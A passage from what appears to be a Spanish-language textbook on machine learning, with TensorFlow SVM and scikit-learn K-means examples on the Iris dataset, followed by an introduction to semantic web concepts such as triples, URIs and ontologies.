[ 5.5  3.5  1.3  0.2]
[ 4.9  3.1  1.5  0.1]
[ 4.4  3.   1.3  0.2]
[ 5.1  3.4  1.5  0.2]
[ 5.   3.5  1.3  0.3]
[ 4.5  2.3  1.3  0.3]
[ 4.4  3.2  1.3  0.2]
[ 5.   3.5  1.6  0.6]
[ 5.1  3.8  1.9  0.4]
[ 4.8  3.   1.4  0.3]
[ 5.1  3.8  1.6  0.2]
[ 4.6  3.2  1.4  0.2]
[ 5.3  3.7  1.5  0.2]
[ 5.   3.3  1.4  0.2]
[ 7.   3.2  4.7  1.4]
[ 6.4  3.2  4.5  1.5]
[ 6.9  3.1  4.9  1.5]
[ 5.5  2.3  4.   1.3]
[ 6.5  2.8  4.6  1.5]
[ 5.7  2.8  4.5  1.3]
[ 6.3  3.3  4.7  1.6]
[ 4.9  2.4  3.3  1. ]
[ 6.6  2.9  4.6  1.3]
[ 5.2  2.7  3.9  1.4]
[ 5.   2.   3.5  1. ]
[ 5.9  3.   4.2  1.5]
[ 6.   2.2  4.   1. ]
[ 6.1  2.9  4.7  1.4]
[ 5.6  2.9  3.6  1.3]
[ 6.7  3.1  4.4  1.4]
[ 5.6  3.   4.5  1.5]
[ 5.8  2.7  4.1  1. ]
[ 6.2  2.2  4.5  1.5]
```

```
 [ 5.6  2.5  3.9  1.1]
 [ 5.9  3.2  4.8  1.8]
 [ 6.1  2.8  4.   1.3]
 [ 6.3  2.5  4.9  1.5]
 [ 6.1  2.8  4.7  1.2]
 [ 6.4  2.9  4.3  1.3]
 [ 6.6  3.   4.4  1.4]
 [ 6.8  2.8  4.8  1.4]
 [ 6.7  3.   5.   1.7]
 [ 6.   2.9  4.5  1.5]
 [ 5.7  2.6  3.5  1. ]
 [ 5.5  2.4  3.8  1.1]
 [ 5.5  2.4  3.7  1. ]
 [ 5.8  2.7  3.9  1.2]
 [ 6.   2.7  5.1  1.6]
 [ 5.4  3.   4.5  1.5]
 [ 6.   3.4  4.5  1.6]
 [ 6.7  3.1  4.7  1.5]
 [ 6.3  2.3  4.4  1.3]
 [ 5.6  3.   4.1  1.3]
 [ 5.5  2.5  4.   1.3]
 [ 5.5  2.6  4.4  1.2]
 [ 6.1  3.   4.6  1.4]
 [ 5.8  2.6  4.   1.2]
 [ 5.   2.3  3.3  1. ]
 [ 5.6  2.7  4.2  1.3]
 [ 5.7  3.   4.2  1.2]
 [ 5.7  2.9  4.2  1.3]
 [ 6.2  2.9  4.3  1.3]
 [ 5.1  2.5  3.   1.1]
 [ 5.7  2.8  4.1  1.3]
 [ 6.3  3.3  6.   2.5]
 [ 5.8  2.7  5.1  1.9]
 [ 7.1  3.   5.9  2.1]
 [ 6.3  2.9  5.6  1.8]
 [ 6.5  3.   5.8  2.2]
 [ 7.6  3.   6.6  2.1]
 [ 4.9  2.5  4.5  1.7]
 [ 7.3  2.9  6.3  1.8]
 [ 6.7  2.5  5.8  1.8]
 [ 7.2  3.6  6.1  2.5]
 [ 6.5  3.2  5.1  2. ]
 [ 6.4  2.7  5.3  1.9]
 [ 6.8  3.   5.5  2.1]
 [ 5.7  2.5  5.   2. ]
 [ 5.8  2.8  5.1  2.4]
 [ 6.4  3.2  5.3  2.3]
```

```
 [ 6.5  3.   5.5  1.8]
 [ 7.7  3.8  6.7  2.2]
 [ 7.7  2.6  6.9  2.3]
 [ 6.   2.2  5.   1.5]
 [ 6.9  3.2  5.7  2.3]
 [ 5.6  2.8  4.9  2. ]
 [ 7.7  2.8  6.7  2. ]
 [ 6.3  2.7  4.9  1.8]
 [ 6.7  3.3  5.7  2.1]
 [ 7.2  3.2  6.   1.8]
 [ 6.2  2.8  4.8  1.8]
 [ 6.1  3.   4.9  1.8]
 [ 6.4  2.8  5.6  2.1]
 [ 7.2  3.   5.8  1.6]
 [ 7.4  2.8  6.1  1.9]
 [ 7.9  3.8  6.4  2. ]
 [ 6.4  2.8  5.6  2.2]
 [ 6.3  2.8  5.1  1.5]
 [ 6.1  2.6  5.6  1.4]
 [ 7.7  3.   6.1  2.3]
 [ 6.3  3.4  5.6  2.4]
 [ 6.4  3.1  5.5  1.8]
 [ 6.   3.   4.8  1.8]
 [ 6.9  3.1  5.4  2.1]
 [ 6.7  3.1  5.6  2.4]
 [ 6.9  3.1  5.1  2.3]
 [ 5.8  2.7  5.1  1.9]
 [ 6.8  3.2  5.9  2.3]
 [ 6.7  3.3  5.7  2.5]
 [ 6.7  3.   5.2  2.3]
 [ 6.3  2.5  5.   1.9]
 [ 6.5  3.   5.2  2. ]
 [ 6.2  3.4  5.4  2.3]
 [ 5.9  3.   5.1  1.8]]
========== DATOS ==========
cantidad de item :150
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 2 2
 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
 2 2]
dict_keys(['data', 'target', 'target_names', 'DESCR', 'feature_names'])
```

Notebook : Jupyter

Explicación

```
"""
Están cargando la primera y cuarta columna
en el conjunto de datos del iris
ya que son  la longitud del sepal
anchura del sepal.
"""
x_vals = np.array([[x[0], x[3]] for x in iris.data])
```

```
"""
Estamos cargando la variable objetivo
la cual tomará la
Valor 1 para setosa
-1 en caso contrario
"""
y_vals = np.array([1 if y == 0 else -1 for y in iris.target])
print(y_vals)
[ 1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1
  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1
 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1
 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1
 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1
 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1]
```

```
borrador =
np.random.choice(150,round(150*0.8),replace=False)
print(borrador)
print("longitud :",len(borrador))
[ 63 102  74  12  72  99  39  33  38  55  34  85  93 137  53  88  20  67
 103  91   0   5 110  52  41   2  28 109  18  69 135  80  92 115   7 121
  35  84  43 140 129 112 105  86  21  61  50 118  89 114  78 132  75  96
  68  42  64  71  30  62 133   1 111 100   9  11 144  79 120  73  82  17
  22  26  46  40  54 128  66  48 127   4 119 113 134 107 138  29 146  94
  24  31 116 130  97  90 141  65  19  25  95   8  76  77  14  49  10 101
 143  16  13  44 149 147  87  51  15 139 145 123]
longitud : 120
```

```
"""
Dividir datos en los conjuntos de test / prueba
entrenamiento:80%
prueba:20%
xval= primera y cuarta columna con los 150 elementos
desagregando:
train_indices
generar numeros aleatorios
```

```
maximo 150 , que genere 120
replace=False, elementos uniformes
“”””
################120############
train_indices =
np.random.choice(len(x_vals),round(len(x_vals)*0.8),replace=False)
################30############
test_indices = np.array(list(set(range(len(x_vals))) - set(train_indices)))
x_vals_train = x_vals[train_indices]
x_vals_test = x_vals[test_indices]
y_vals_train = y_vals[train_indices]
y_vals_test = y_vals[test_indices]
```

```
“”””
Establezca los parámetros del modelo
los marcadores de posición y los coeficientes.
“”””
#Declara el tamaño del lote
batch_size = 100
# Inicializar marcadores de posición
x_data = tf.placeholder(shape=[None, 2], dtype=tf.float32)
y_target = tf.placeholder(shape=[None, 1], dtype=tf.float32)
# Crear variables para SVM
A = tf.Variable(tf.random_normal(shape=[2, 1]))
b = tf.Variable(tf.random_normal(shape=[1, 1]))
```

```
“”””
Declare nuestro modelo y la norma L2
SVM modelo lineal
“”””
# Declare las operaciones del modelo
model_output = tf.subtract(tf.matmul(x_data, A), b)
# Declare vector L2 función ‘al cuadrado
l2_norm = tf.reduce_sum(tf.square(A))
```

```
“”””
Aquí hacemos nuestra función de pérdida especial
basada en la clasificación de los puntos
(en qué lado de la línea caen).
Además, tenga en cuenta que alfa es el término
de margen blando y un aumento para permitir puntos
de clasificación más erróneos.
Para el comportamiento de margen duro, defina alpha = 0.
“”””
# Declare función de pérdida
# Pérdida = max (0, 1-pred * real) + alfa * L2_norm (A) ^ 2
```

```
# L2 parámetro de regularización, alfa
alpha = tf.constant([0.01])
# Término de margen en pérdida
classification_term =
tf.reduce_mean(tf.maximum(0., tf.subtract(1., tf.multiply(model_output,
y_target))))
# Poner términos juntos
loss = tf.add(classification_term, tf.multiply(alpha, l2_norm))
```

```
"""
Crear la función de predicción
el algoritmo de optimización
e inicializar las variables.
"""
# Declare la función de predicción
prediction = tf.sign(model_output)
accuracy = tf.reduce_mean(tf.cast(tf.equal(prediction, y_target), tf.float32))
# optimizacion
my_opt = tf.train.GradientDescentOptimizer(0.01)
train_step = my_opt.minimize(loss)
# inicialziacion de variables
init = tf.global_variables_initializer()
sess.run(init)
```

```
"""
bucle de  entrenamiento.
"""
loss_vec = []
train_accuracy = []
test_accuracy = []
for i in range(500):
    rand_index = np.random.choice(len(x_vals_train), size=batch_size)
    rand_x = x_vals_train[rand_index]
    rand_y = np.transpose([y_vals_train[rand_index]])
    sess.run(train_step, feed_dict={x_data: rand_x, y_target: rand_y})
    temp_loss = sess.run(loss, feed_dict={x_data: rand_x, y_target: rand_y})
    loss_vec.append(temp_loss)
    train_acc_temp = sess.run(accuracy, feed_dict={
        x_data: x_vals_train,
        y_target: np.transpose([y_vals_train])})
    train_accuracy.append(train_acc_temp)
    test_acc_temp = sess.run(accuracy, feed_dict={
        x_data: x_vals_test,
        y_target: np.transpose([y_vals_test])})
    test_accuracy.append(test_acc_temp)
```

```
“”””
Ahora extraemos los coeficientes lineales
y obtenemos la línea de límite SVM
“”””
# Coeficientes de extracción
[[a1], [a2]] = sess.run(A)
[[b]] = sess.run(b)
slope = -a2/a1
y_intercept = b/a1
# extraer valores x1 y x2
x1_vals = [d[1] for d in x_vals]
# Obtener la mejor línea de ajuste
best_fit = []
for i in x1_vals:
    best_fit.append(slope*i+y_intercept)
# Separar I. setosa
setosa_x = [d[1] for i, d in enumerate(x_vals) if y_vals[i] == 1]
setosa_y = [d[0] for i, d in enumerate(x_vals) if y_vals[i] == 1]
not_setosa_x = [d[1] for i, d in enumerate(x_vals) if y_vals[i] == -1]
not_setosa_y = [d[0] for i, d in enumerate(x_vals) if y_vals[i] == -1]
```

```
“”””
Código Matplotlib para graficar
“”””
# Trazar datos y línea
plt.plot(setosa_x, setosa_y, ‘o’, label=’I. setosa’)
plt.plot(not_setosa_x, not_setosa_y, ‘x’, label=’Non-setosa’)
plt.plot(x1_vals, best_fit, ‘r-’, label=’Linear Separator’, linewidth=3)
plt.ylim([0, 10])
plt.legend(loc=’lower right’)
plt.title(‘Sepal Length vs Pedal Width’)
plt.xlabel(‘Pedal Width’)
plt.ylabel(‘Sepal Length’)
plt.show()
# Plot test precision de las pruebas
plt.plot(train_accuracy, ‘k-’, label=’Training Accuracy’)
plt.plot(test_accuracy, ‘r--’, label=’Test Accuracy’)
plt.title(‘Train and Test Set Accuracies’)
plt.xlabel(‘Generation’)
plt.ylabel(‘Accuracy’)
plt.legend(loc=’lower right’)
plt.show()
plt.plot(loss_vec, ‘k-’)
plt.title(‘Loss per Generation’)
plt.xlabel(‘Generation’)
plt.ylabel(‘Loss’)
plt.show()
```

Notebook: Jupyter

6.1.4 Aprendizaje no supervisado

Este tipo de aprendizaje no conocemos la respuesta, pero si conocemos algunas características o propiedades. El aprendizaje no supervisado es similar al método que utilizamos para aprender a hablar cuando somos bebes, en un principio escuchamos hablar a nuestros padres y no entendemos nada; pero a medida que vamos escuchando miles de conversaciones, nuestro cerebro comenzará a formar un modelo sobre cómo funciona el lenguaje y comenzaremos a reconocer patrones y a esperar ciertos sonidos.

6.1.4.1 CLUSTERING-K-MEANS

K-Means Clustering es un algoritmo iterativo en el cual los objetos se mueven a través de un conjunto de clústers hasta que se alcanza el ajuste deseado o la convergencia.

K-means se utiliza para reducir el espacio de búsqueda, creando k grupos compuestos por ítems con características similares o usuarios con gustos afines. Este método inicia seleccionando arbitrariamente k objetos como centroide de los k grupos. Luego, cada elemento es asignado al clúster con su centroide más cercano y se vuelve a calcular la media del grupo considerando a los nuevos elementos. Esa media es ahora considerada como el nuevo centroide del clúster. Posteriormente se calcula nuevamente la similaridad de cada objeto y se asigna al centroide más cercano, recalculando la media y repitiendo el proceso de manera iterativa hasta que se alcance el mínimo deseado. Finalmente, se logra tener objetos dentro de cada grupo con características similares entre ellos, pero disímiles con elementos de otros grupos.

Variantes

Entre las principales variantes tenemos:

- K-NN con rechazo.
- K-NN con distancia media.
- K-NN con distancia mínima.
- K-NN con pesado de vecinos.
- K-NN con pesado de variables.

```
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
from sklearn.cluster import KMeans
from sklearn import datasets
import numpy as np
import matplotlib
“”””
obtenemos los dataset
“”””
iris = datasets.load_iris()
X = iris.data
“”””
obtenemos un target
que clasificara omo hemos visto
la variable objetivo contiene valores
como 0,1,2 cada valor representa el
tipo de especie de flor del iris
“”””
y = iris.target
“”””
En este programa, el número de k clusters
se elegirá como tres y ocho.
Para hacer una comparación
el tercero será el número de clusters 3
pero con una mala inicialización en el
proceso de clasificación.
El número de inicialización ha cambiado a 1.
El número predeterminado es 10.
Por lo tanto, se reducen los tiempos que el
algoritmo ejecuta con diferentes semillas de centroide.
Esto muestra lo que sucede con el resultado
si todo el sistema tiene una mala inicialización
“”””
estimators = [(‘k_means_iris_8’, KMeans(n_clusters=8)),
              (‘k_means_iris_3’, KMeans(n_clusters=3)),
```

```
              ('k_means_iris_bad_init', KMeans(n_clusters=3, n_init=1,
                                               init='random'))]
"""
A continuación, el programa mostrará
el diagrama estándar de K-means
agrupación de flores de Iris en la
técnica de aprendizaje
El resultado estándar de la agrupación
se etiqueta con tres especies.
"""
fignum = 1
titles = ['8 clusters', '3 clusters', '3 clusters, bad initialization']
for name, est in estimators:
    fig = plt.figure(fignum, figsize=(4, 3))
    ax = Axes3D(fig, rect=[0, 0, .95, 1], elev=48, azim=134)
    est.fit(X)
    labels = est.labels_
    ax.scatter(X[:, 3], X[:, 0], X[:, 2],
               c=labels.astype(np.float), edgecolor='k')
    ax.w_xaxis.set_ticklabels([])
    ax.w_yaxis.set_ticklabels([])
    ax.w_zaxis.set_ticklabels([])
    ax.set_xlabel('Petal width')
    ax.set_ylabel('Sepal length')
    ax.set_zlabel('Petal length')
    ax.set_title(titles[fignum - 1])
    ax.dist = 12
    fignum = fignum + 1
fig = plt.figure(fignum, figsize=(4, 3))
ax = Axes3D(fig, rect=[0, 0, .95, 1], elev=48, azim=134)
for name, label in [('Setosa', 0),
                    ('Versicolour', 1),
                    ('Virginica', 2)]:
    ax.text3D(X[y == label, 3].mean(),
              X[y == label, 0].mean(),
              X[y == label, 2].mean() + 2, name,
              horizontalalignment='center',
              bbox=dict(alpha=.2, edgecolor='w', facecolor='w'))
"""
El siguiente paso es reordenar las
etiquetas con los colores coincidentes
para los resultados del clúster.
Después de eso todas las figuras
se mostrarán en la pantalla.
"""
```

```
y = np.choose(y, [1, 2, 0]).astype(np.float)
ax.scatter(X[:, 3], X[:, 0], X[:, 2], c=y, edgecolor='k')
ax.w_xaxis.set_ticklabels([])
ax.w_yaxis.set_ticklabels([])
ax.w_zaxis.set_ticklabels([])
ax.set_xlabel('Ancho Petal')
ax.set_ylabel('Longitud Sepal')
ax.set_zlabel('Longitud Petal')
ax.set_title('Convergente')
ax.dist = 10
plt.show()
```

Notebook: Jupyter

Interpretación

En la primera figura tenemos:

Una grupación del conjunto de datos Iris con ocho grupos

En la segunda figura tenemos:

Una grupación del conjunto de datos Iris con tres grupos

Como se ve en la primera y segunda Figura, el conjunto de datos se separa en ocho grupos a tres grupos se muestran en la segunda Figura tres grupos con diferentes colores. En la segunda Figura, la mayoría de las muestras se mantienen juntas, es realmente difícil distinguirlas muy claramente. Las diferencias entre cada muestra son pequeñas. En este caso, el resultado del clúster no es aceptable. Por otro lado, en la segunda, se puede ver fácilmente que el resultado del clúster es mucho mejor que en la primera Figura. Aunque todavía hay algunas partes solapadas entre el verde y el púrpura, pero es bastante claro ver la diferencia entre estos tres clusters Este caso muestra la importancia de elegir el número de clusters para el algoritmo K-means. A veces, para los conjuntos de datos reales, es difícil saber cuántos conjuntos de datos deben utilizarse. Por lo tanto, es muy difícil elegir el número de clusters. Un método consiste en utilizar el algoritmo ISODATA, a través de la fusión y división de clusters para obtener un número razonable de k.

En la Tercera Figura muestra el resultado del clúster con tres clústers, pero una inicialización incorrecta. Podemos ver que algunas de las muestras cambian su clase comparada con la segunda Figura. Con un número de inicialización aleatorio, el sistema obtendrá resultados de cluster diferentes. Por lo tanto, un número de inicialización aleatoria es muy importante para un buen resultado de agrupación. Sin embargo, no sabemos qué podría ser un buen número de inicialización. En este caso, en algunos sistemas de aprendizaje automático, los científicos elegirán Algoritmo Genético para tener el punto de inicialización.

En la cuarta figura ilustra un resultado estándar de la agrupación de K-means de reconocimiento de Iris. El término “convergente “ se refiere a la clasificación de los conjuntos de datos de formación en el aprendizaje no supervisado. El número de agrupaciones son tres y con un buen punto de inicialización. Esta es la mejor clasificación de todos los mostrados aquí. El conjunto de datos se ha separado correctamente y cada conjunto de datos tiene buenas diferencias.

6.1.5 Aprendizaje por refuerzo

El algoritmo aprende observando el mundo que le rodea. Su información de entrada es el feedback o retroalimentación que obtiene del mundo exterior como respuesta a sus acciones. Por lo tanto, el sistema aprende a base de ensayo-error.

6.1.6 Aprendizaje evolutivo

La evolución biológica puede ser vista como un proceso de aprendizaje: biológico Los organismos se adaptan para mejorar sus tasas de supervivencia y la probabilidad de tener ambiente. Vamos a ver cómo podemos modelar esto en una computadora, usando una idea de Fitness, que corresponde a una puntuación de lo bueno que es la solución actual.

6.2 MÁQUINA INFERENCIAL

Actualmente los datos que encontramos en la World Wide Web (WWW) carecen de significado y son un conjunto de datos aislados que se encuentran agrupados por medio de etiquetas (tags) de HTML (HiperText Markup Language) las que solo representan instrucciones de formato, como, por ejemplo: H1, TD, TR, etc. En ese sentido, la semántica, el significado de los datos que nos muestra la Web, es proveído por el ser humano cuando lee la página Web. Sin embargo, el lenguaje HTML tiene la etiqueta <META> con la cual se intenta darle algo de "semántica" a los datos en la Web, esta se utiliza para añadir información sobre la página y es la que los buscadores como Google consultan para encontrar coincidencias exactas con las palabras que el usuario pretende encontrar, por lo tanto, su "semántica" es muy primitiva.

La semántica que se busca en la Web es mucho más que el de un conjunto de palabras clave, esto solo se logrará cuando se establezca relaciones entre ellas, es decir relaciones entre los datos para crear contexto y por tanto, significado. En la siguiente construcción HTML:

<META name="author" content="Research Group">

<META name="keywords" content="paciente">,

¿A qué se refiere la palabra paciente? ¿Se refiere a construir una ontología que se enfoque en datos del paciente o síntomas del paciente o diagnósticos del paciente?, es decir, ¿qué se quiere decir con la palabra paciente? Como vemos, la semántica queda para que el lector humano la interprete. Sin embargo, si las palabras

clave se relacionaran a otras palabras clave se formará una red de datos que revela significado. Así, paciente podría relacionarse a muchas otras palabras como médico, enfermera, medicina, etc. y se puede notar que estas relaciones expresan semántica, es decir, significado. Por ejemplo, lo anterior podríamos interpretarlo como "un médico atiende a un paciente e indica que la enfermera le brinde una medicina". Aunque esta semántica es aún imprecisa, la frase es solo una de muchas otras interpretaciones que pudieran surgir, otra puede ser "una enfermera recibe un paciente en emergencias, quien tomó una cierta medicina y solicita que el médico lo atienda para que realice el diagnostico".

Implementar relaciones dentro de la Web requiere que se formalice una estructura o arreglo de los términos en un estándar de reglas gramaticales específicas y en la creación de un nuevo estándar de términos o elementos de formación primitivos para la descripción de los datos y de los procesos, el vocabulario. Estos dos estándares juntos, la gramática y el vocabulario estricto forman el lenguaje y ayudan a incorporar significado, es decir semántica. Por otro lado, en la medida que la gramática y el vocabulario del lenguaje se expandan a través de nuevas relaciones la semántica se irá enriqueciendo.

Los componentes de una aplicación de Web Semántica se dividen en dos categorías principales: componentes y herramientas de la Web Semántica asociadas.

6.2.1 Web semántica

Timothy (Tim) Berners-Lee, el creador de la Web afirma: 'La Web Semántica no es una Web separada sino una extensión de la actual, en la que la información está dada con significado bien definido lo que significa que permite que los computadores y las personas trabajen en cooperación.'' (Berners-Lee et al, 2001). En otras palabras, la Web Semántica es una red de datos descritos y vinculados de manera que se establezca semántica y que se adhiere a una gramática establecida y a constructos o términos de un lenguaje (vocabulario).

Conceptualmente, es factible añadir semántica a la Web por medio un conjunto de instrucciones de programación; pero la programación en si misma se complicaría innecesariamente en una inmensidad de comandos if, case, búsquedas en la base de datos y otras técnicas de programación. (Hebeler et al, 2009).

La Web Semántica propuesta por (Berner-Lee et al, 2001) implementa la semántica a través de conexiones estandarizadas para relacionar información. Así, una persona o un programa puede decir fácilmente si este paciente es lo mismo que otra referencia paciente. Cada dato único se conecta a un contexto más amplio o Web. Esta Web ofrece precisión para las definiciones, relaciones a una jerarquía

conceptual, relaciones a información asociada y relaciones a individuos específicos de paciente. La flexibilidad de la Web posibilita conexiones a toda la información necesaria.

Los términos que se relacionan y los caminos que se forman con todas las relaciones dan forma a un vocabulario de dominio, también conocido como ontología.

Las Figuras 1 y 2 ilustran la diferencia en que se almacena la información en la WWW, como palabras clave independientes y, una Web Semántica de datos. En el ejemplo utilizamos las palabras clave Juan, Pérez.

En la Figura 1 se observa cómo, en la WWW, los datos están aislados y sin conexiones con otros datos limitando su semántica y dejando al lector humano que determine su significado. Un buscador nos retornará los datos de Juan y Pérez cuando están juntos en un único elemento (por ejemplo, una página web) obteniendo resultados limitados o puede darnos resultados de los dos datos por separado, en este caso la información no será coherente para el lector.

Leyenda: I → Instancia

Las Palabras Clave Juan y Pérez en la WWW

En la Figura 2 se ve una ontología en la Web Semántica, los datos existen relacionados entre sí y, además, interrelacionados con otros datos y definiciones por medio de relaciones; todo este conglomerado de relaciones lógicas da contexto y significado a las palabras Juan y Pérez. De hecho, esto es una ontología de Historia Clínica dentro de la cual están las Palabras Clave. Aquí La Web Semántica permite que, al igual que lo hace un ser humano, una aplicación también pueda seguir estas relaciones y obtener información enriquecida. Un buscador en la Web Semántica nos retornará los datos Juan y Pérez; pero además, nos dirá su DNI, Dirección y Fecha de Nacimiento; adicionalmente, también, nos podrá decir el N° de Historia Clínica y los síntomas que tiene: mareos, fiebre e ictericia. Por otro lado, si el buscador fuera capaz de inferir, también retornará información complementaria, en este caso, es obvio que Juan Pérez es un paciente de una institución sanitaria en particular.

Por supuesto, debe existir también un Juan Pérez, digamos, ingeniero, contador, etc., en cuyo caso, La Web Semántica retornará a todos los Juan Pérez con información acerca de cada uno. Es decir, la Web Semántica habrá navegado pro varias ontologías diferentes y, todo esto, será transparente para el lector humano.

La Web Semántica alcanza la semántica a través de conexiones estandarizadas a información relacionada de un dominio (ontología), cada elemento de dato se conecta a un contexto mayor en la red, la cual ofrece potenciales caminos para su definición: relaciones a una jerarquía conceptual, relaciones a información asociada y relaciones a instancias específicas. Por lo tanto, las aplicaciones de Web Semántica siempre usan ontologías, cada una especializada en un área de dominio específica.

Las palabras clave Juan y Pérez en la web semántica

6.2.1.1 IMPLEMENTANDO LA WEB SEMÁNTICA

La Web tal como hoy la conocemos, consiste principalmente de contenido estático dirigido al ser humano, quien debe interpretarlo y darle significado, es decir el usuario infiere la semántica. El contenido de una página Web se vincula a otro contenido vía el URL (Universal Resource Locator). El contenido de la WWW no tiene construcciones lógicas formales, en cambio, la Web Semántica consiste principalmente de declaraciones para consumo de aplicaciones de software; estas declaraciones se vinculan a través de construcciones que pueden formar semántica; así, la semántica del vínculo proporciona un camino significativo definido en vez de uno interpretado por el usuario, tomemos como ejemplo la declaración Juan amigoDe Carlos, es una declaración de asociación que nos dice que Juan es un amigo de Carlos, no un enemigo, ni un desconocido; es más, esta declaración nos permite inferir que hay una relación entre Juan y Carlos y viceversa.

El elemento fundamental de la Web Semántica es la declaración. Los diferentes tipos de declaraciones comparten el mismo estándar y describen conceptos, lógica, restricciones e individuos (instancias). El utilizar un mismo estándar posibilita su compartición e integración. En vez de ser un sustituto de la WWW, la Web Semántica la extiende con significado mediante el uso de declaraciones estandarizadas para darle semántica y lograr así compartir información dispersa en la Web.

Las relaciones semánticas forman la Web Semántica. Estas relaciones incluyen definiciones, asociaciones, agregaciones y restricciones. La Figura 3 muestra un grafo de declaraciones. Las declaraciones y sus correspondientes relaciones establecen ambos conceptos (por ejemplo, una persona tiene Nombres y Apellidos) e instancias (por ejemplo, Código de la Persona P-001 con Nombres Juan y Apellidos Pérez). Las declaraciones que definen los conceptos y las relaciones entre estos forman una ontología. Las declaraciones que se refieren a individuos forman datos de instancia.

Las declaraciones pueden ser asertivas o inferidas. La primera requiere que la aplicación cree directamente la declaración de conceptos o de individuos, para hacerla valer en su momento (líneas solidas). La última requiere de un razonador para inferir declaraciones adicionales desde las declaraciones asertivas (línea verde punteada). Aquí se puede inferir que Juan puede tener un Cáncer Pancreático debido a que tiene los síntomas.

Note que, en este ejemplo, la Web Semántica, está utilizando una combinación de dos ontologías, la Ontología de Historia Clínica y la Ontología de Enfermedades. Debido a que Juan Pérez tiene, entre sus síntomas, tres en particular: Mareos, Fiebre e Ictericia, que también son los síntomas del Cáncer Pancreático, es que se puede

inferir la enfermedad que afecta a Juan Pérez. En la Web Semántica, esta misma deducción podrá ser efectuada por un aplicativo.

Inferencia en la Web Semántica

Este es un ejemplo muy sencillo que solo quiere explicar el proceso interno de la Web Semántica. En la práctica, este proceso se repetirá constantemente y con muchas ontologías a la vez.

Las declaraciones de Web Semántica emplean un Lenguaje de Web Semántica (vocabulario + reglas de gramática) para identificar los diversos tipos de declaraciones y relaciones. La Web Semántica tiene varios lenguajes, que van de básicos hasta complejos. La Web Semántica existe principalmente en dos formas: bases de conocimiento y archivos. Las bases de conocimiento ofrecen almacenamiento dinámico y extensible similar a las bases de datos relacionales. Los archivos típicamente contienen declaraciones estáticas. La diferencia es que las bases de conocimiento utilizan herramientas (motor de almacenamiento), los archivos no. La Tabla 1 compara las bases de datos relacionales y bases de conocimiento.

Característica	BD Relacional	Base de Conocimiento
Estructura	Esquema	Declaraciones de Ontología
Datos	Filas	Declaraciones de Instancia
Lenguaje de Administración	DDL	Declaraciones de Ontología
Lenguaje de Consulta	SQL	SPARQL
Relaciones	Claves Foráneas	Múltiples Dimensiones
Lógica	Externa a la BD/Triggers	Declaraciones de Lógica Formal
Singularidad	Clave de la tabla	URI

Tabla 1 Comparación de Bases de Datos Relacionales y bases de Conocimiento (Hebeler et al, 2009)

Las bases de datos relacionales dependen de un esquema por cada estructura. Una base de conocimiento en el contexto de la Web Semántica depende de declaraciones de ontología para establecer la estructura. Las bases de datos relacionales están limitadas a un tipo de relación, la clave foránea. La Web Semántica ofrece relaciones y restricciones multidimensionales tales como herencia, parteDe, asociadoCon y muchos otros tipos, incluyendo relaciones lógicas y restricciones.

En las bases de conocimiento el lenguaje utilizado para formar la estructura y las instancias es el mismo lenguaje; pero son diferentes en las bases de datos relacionales. Las bases de datos relacionales ofrecen un lenguaje diferente, DDL (Data Description Language) para crear el esquema y DML (Data Manipulation Language) para el mantenimiento de los datos. Es decir, en las bases de datos relacionales, añadir una tabla o columna es muy diferente a añadir una fila.

6.2.1.2 COMPONENTES DE PROGRAMACIÓN

Los componentes principales de la Web Semántica son: (Hebeler et al, 2009)

- **Declaración**: La declaración es la base de la Web Semántica; se compone de varios elementos que suelen formar una *triada o tripla (3-tupla)*. la triada consta de un sujeto, predicado, y el objeto (por ejemplo, *Juan* esdeTipo *persona*). Las declaraciones definen la estructura de información, instancias específicas y los límites de esa estructura y se relacionan entre sí para formar la red de datos que constituye la Web Semántica.

- **URI (Identificador Uniforme de Recursos)**: Proporciona un nombre único para los elementos que figuran en una declaración *a través de toda la Internet*. Así, cada componente de una declaración -sujeto, predicado y objeto- contiene un URI para afirmar su identidad en toda la WWW.

Esto elimina conflictos de nomenclatura, asegura que dos elementos son los mismos o no y también puede proporcionar una ruta de acceso a información adicional. La estructura del URI es: *ESQUEMA: PARTE JERARQUICA? SOLICITUD # FRAGMENTO.*

A diferencia del URL el URI permite incluir en la dirección una subdirección, determinada por el "fragmento".

- **Lenguaje**: Las declaraciones se expresan de acuerdo con un lenguaje de Web Semántica. El lenguaje se compone de un conjunto de palabras clave que proporcionan instrucción a las diversas herramientas de la Web Semántica. Hay varios lenguajes para elegir que ofrecen diversos grados de complejidad y expresividad semántica.

- **Ontología**: Una ontología consiste de declaraciones que definen conceptos, relaciones y restricciones; es análoga a un esquema de base de datos. La ontología forma un modelo de dominio de información especializada en áreas como finanzas y medicina o generalizada para la descripción de objetos comunes. Actualmente, existen muchas ontologías enriquecidas para incorporar en las aplicaciones que pueden ser usadas directamente o adaptarlas a necesidades específicas.

- **Datos de Instancia**: Son las declaraciones que contienen información sobre casos específicos en lugar de un concepto genérico. *Juan* es una instancia, mientras que *persona* es un concepto o clase. Esto es análogo a los objetos/instancias en un programa orientado a objetos. Los datos de instancia constituyen la mayor parte de la Web Semántica. Una ontología que contiene el concepto *persona* puede ser utilizada por millones de instancias de *persona*.

6.2.1.3 HERRAMIENTAS

